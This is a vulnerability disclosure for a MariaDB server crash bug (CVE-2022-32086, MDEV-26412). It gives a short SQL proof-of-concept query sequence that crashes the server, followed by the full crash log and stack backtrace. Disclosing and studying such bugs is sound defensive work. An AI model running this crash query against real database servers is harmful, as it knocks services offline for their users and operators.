CVE-2022-32086: [MDEV-26412] Server crash in Item_field::fix_outer_field for INSERT SELECT

PoC:

CREATE TABLE v0 ( v1 BIGINT ( 67 ) NOT NULL ) ;

CREATE TABLE v2 ( v4 INT , v3 INT NOT NULL UNIQUE KEY CHECK ( -128 | ( str_to_date ( CHAR ( 33 ) , ‘x’ ) ) ) ) ;

DROP FUNCTION IF EXISTS v0 ;

INSERT INTO v0 SELECT DISTINCT * FROM v0 FULL JOIN v2 ON ( SELECT v0 . v1 ) ;

Crash Log:

Version: ‘10.7.0-MariaDB’ socket: ‘/tmp/18.socket’ port: 10018 Source distribution

210816 15:33:24 [ERROR] mysqld got signal 11 ;

This could be because you hit a bug. It is also possible that this binary

or one of the libraries it was linked against is corrupt, improperly built,

or misconfigured. This error can also be caused by malfunctioning hardware.

To report this bug, see https://mariadb.com/kb/en/reporting-bugs

We will try our best to scrape up some info that will hopefully help

diagnose the problem, but since we have already crashed,

something is definitely wrong and this may fail.

Server version: 10.7.0-MariaDB

key_buffer_size=134217728

read_buffer_size=131072

max_used_connections=1

max_threads=153

thread_count=1

It is possible that mysqld could use up to

key_buffer_size + (read_buffer_size + sort_buffer_size)*max_threads = 467956 K bytes of memory

Hope that’s ok; if not, decrease some variables in the equation.

Thread pointer: 0x62b0000bd218

Attempting backtrace. You can use the following information to find out

where mysqld died. If you see no messages after this, something went

terribly wrong…

stack_bottom = 0x7f722a3fd850 thread_stack 0x5fc00

sanitizer_common/sanitizer_common_interceptors.inc:4203(__interceptor_backtrace.part.0)[0x7f7249ca9c3e]

mysys/stacktrace.c:213(my_print_stacktrace)[0x55c05f113747]

sql/signal_handler.cc:222(handle_fatal_signal)[0x55c05e0db120]

sigaction.c:0(__restore_rt)[0x7f7249693870]

sql/item.cc:5561(Item_field::fix_outer_field(THD*, Field**, Item**))[0x55c05e168491]

sql/item.cc:5982(Item_field::fix_fields(THD*, Item**))[0x55c05e16b34c]

sql/item.h:1148(Item::fix_fields_if_needed_for_scalar(THD*, Item**))[0x55c05d80a2ed]

sql/sql_select.cc:1397(JOIN::prepare(TABLE_LIST*, Item*, unsigned int, st_order*, bool, st_order*, Item*, st_order*, st_select_lex*, st_select_lex_unit*))[0x55c05dac647c]

sql/item_subselect.cc:3903(subselect_single_select_engine::prepare(THD*))[0x55c05e3cf4f6]

sql/item_subselect.cc:295(Item_subselect::fix_fields(THD*, Item**))[0x55c05e3ccd05]

sql/item.h:1148(Item::fix_fields_if_needed_for_scalar(THD*, Item**))[0x55c05d810338]

sql/sql_base.cc:8454(setup_conds(THD*, TABLE_LIST*, List<TABLE_LIST>&, Item**))[0x55c05d810d40]

sql/sql_select.cc:833(JOIN::prepare(TABLE_LIST*, Item*, unsigned int, st_order*, bool, st_order*, Item*, st_order*, st_select_lex*, st_select_lex_unit*))[0x55c05dac6748]

sql/sql_select.cc:4967(mysql_select(THD*, TABLE_LIST*, List<Item>&, Item*, unsigned int, st_order*, st_order*, Item*, st_order*, unsigned long long, select_result*, st_select_lex_unit*, st_select_lex*))[0x55c05db0dcaa]

sql/sql_select.cc:545(handle_select(THD*, LEX*, select_result*, unsigned long))[0x55c05db0e655]

sql/sql_parse.cc:4718(mysql_execute_command(THD*, bool))[0x55c05d97d9c1]

sql/sql_parse.cc:8047(mysql_parse(THD*, char*, unsigned int, Parser_state*))[0x55c05d9805a1]

sql/sql_parse.cc:1898(dispatch_command(enum_server_command, THD*, char*, unsigned int, bool))[0x55c05d98660c]

sql/sql_parse.cc:1406(do_command(THD*, bool))[0x55c05d98b73d]

sql/sql_connect.cc:1418(do_handle_one_connection(CONNECT*, bool))[0x55c05dd46e57]

sql/sql_connect.cc:1312(handle_one_connection)[0x55c05dd4733d]

perfschema/pfs.cc:2204(pfs_spawn_thread)[0x55c05e7d7c2c]

pthread_create.c:0(start_thread)[0x7f7249689259]

:0(__GI___clone)[0x7f72492345e3]

Trying to get some variables.

Some pointers may be invalid and cause the dump to abort.

Query (0x629000087238): INSERT INTO v0 SELECT DISTINCT * FROM v0 FULL JOIN v2 ON ( SELECT v0 . v1 )

Connection ID (thread ID): 4

Status: NOT_KILLED